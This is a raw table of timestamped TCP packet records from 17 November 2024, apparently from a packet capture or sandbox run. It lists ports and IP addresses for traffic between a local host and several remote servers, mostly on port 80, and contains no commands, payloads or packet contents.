Nov 17, 2024 03:42:40.315643072 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315654039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315665960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315681934 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315712929 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315716028 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315725088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315736055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.315759897 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.315794945 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.394181967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394203901 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394215107 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394233942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394243956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394260883 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.394260883 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.394268990 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394279957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394294977 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.394308090 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394319057 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394325972 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.394330025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394346952 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.394368887 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.394376040 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394386053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394395113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394403934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394412041 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.394438028 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.394829988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394871950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394881010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394902945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394913912 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.394927979 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.394958973 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.394988060 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.395035028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.395045042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.395054102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.395056009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.395097017 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.395119905 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.413403988 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.414855957 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.414884090 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.415426970 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.415432930 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.434019089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434031010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434041023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434058905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434070110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434082031 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434081078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434125900 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434127092 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434139013 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434154987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434165001 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434175014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434200048 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434230089 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434417963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434428930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434439898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434449911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434461117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434463978 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434493065 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434523106 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434628010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434676886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434689045 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434689999 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434699059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434715033 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434729099 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434845924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434906960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434916973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434925079 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434926987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.434968948 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.434990883 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.471214056 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.471648932 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.471673965 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.472167969 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.472174883 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.479507923 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.479880095 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.479911089 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.480353117 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.480360031 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.481587887 CET	49876	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.481633902 CET	443	49876	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.481699944 CET	49876	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.481842041 CET	49877	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.481894970 CET	443	49877	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.481944084 CET	49877	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.481986046 CET	49878	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.481997013 CET	443	49878	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.482057095 CET	49878	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.482203960 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.482213020 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.482278109 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.482480049 CET	49880	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.482511997 CET	443	49880	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.482562065 CET	49880	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.482870102 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.482914925 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.482968092 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.483501911 CET	49876	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.483515024 CET	443	49876	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.483643055 CET	49877	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.483658075 CET	443	49877	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.483788013 CET	49878	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.483800888 CET	443	49878	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.483903885 CET	49879	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.483916998 CET	443	49879	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.484023094 CET	49880	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.484030962 CET	443	49880	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.484121084 CET	49881	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:40.484138012 CET	443	49881	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:40.515403986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515417099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515428066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515438080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515449047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515459061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515481949 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.515518904 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.515547991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515573025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515583992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515589952 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.515594006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515604973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515614986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515615940 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.515620947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.515641928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.515670061 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.516019106 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.516062021 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.516210079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.516221046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.516232014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.516254902 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.516282082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.516402006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.516412973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.516423941 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.516433954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.516448975 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.516474009 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.542862892 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.542943954 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.542999029 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.543176889 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.543199062 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.543210030 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.543215990 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.546139956 CET	49882	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.546159029 CET	443	49882	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.546339989 CET	49882	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.546497107 CET	49882	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.546509027 CET	443	49882	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.552725077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.552773952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.552783012 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.552784920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.552809954 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.552817106 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.552835941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.552840948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.552861929 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.552885056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.552889109 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.552932978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.552975893 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.552987099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.552990913 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553026915 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553086996 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553134918 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553141117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553150892 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553162098 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553175926 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553205013 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553445101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553457022 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553467035 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553495884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553512096 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553527117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553538084 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553555012 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553565979 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553566933 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553580046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553582907 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553632021 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553632021 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553817987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553849936 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553863049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553873062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553884029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553891897 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553895950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.553906918 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553930044 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.553937912 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.608047962 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.608135939 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.608217955 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.608433008 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.608450890 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.608499050 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.608505011 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.611140966 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.611303091 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.611378908 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.611905098 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.611949921 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.612870932 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.616487026 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.616504908 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.616559982 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.616564989 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.616950989 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.616969109 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.619115114 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.619153023 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.619941950 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.620050907 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.620069027 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.631994009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632009029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632020950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632034063 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632052898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632055998 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632082939 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632093906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632111073 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632131100 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632230997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632272959 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632282019 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632311106 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632318020 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632320881 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632359982 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632479906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632491112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632502079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632514000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632530928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632556915 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632685900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632711887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632730007 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632730961 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632741928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632754087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632755041 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632765055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632781029 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632786036 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632796049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.632802010 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632817984 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.632842064 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.671940088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.671958923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.671972036 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.671992064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672004938 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672015905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672027111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672029018 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.672038078 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672049999 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672072887 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.672090054 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.672122955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672135115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672144890 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672163010 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.672171116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672192097 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.672221899 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.672461033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672472954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672485113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672494888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672506094 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672513008 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.672518015 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672542095 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.672555923 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.672821045 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672832966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672846079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672872066 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.672898054 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.672955990 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672967911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672979116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.672991037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.673002958 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.673028946 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.717813969 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.717832088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.717880011 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.717895031 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.718795061 CET	443	49874	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.719078064 CET	49874	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.719105959 CET	443	49874	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.722501993 CET	443	49874	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.722564936 CET	49874	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.723834038 CET	49874	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.723910093 CET	443	49874	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.724092007 CET	49874	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.724104881 CET	443	49874	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.750958920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.750988007 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.750998974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751008987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751024008 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751024008 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751033068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751044989 CET	49797	80	192.168.2.5	185.215.113.206
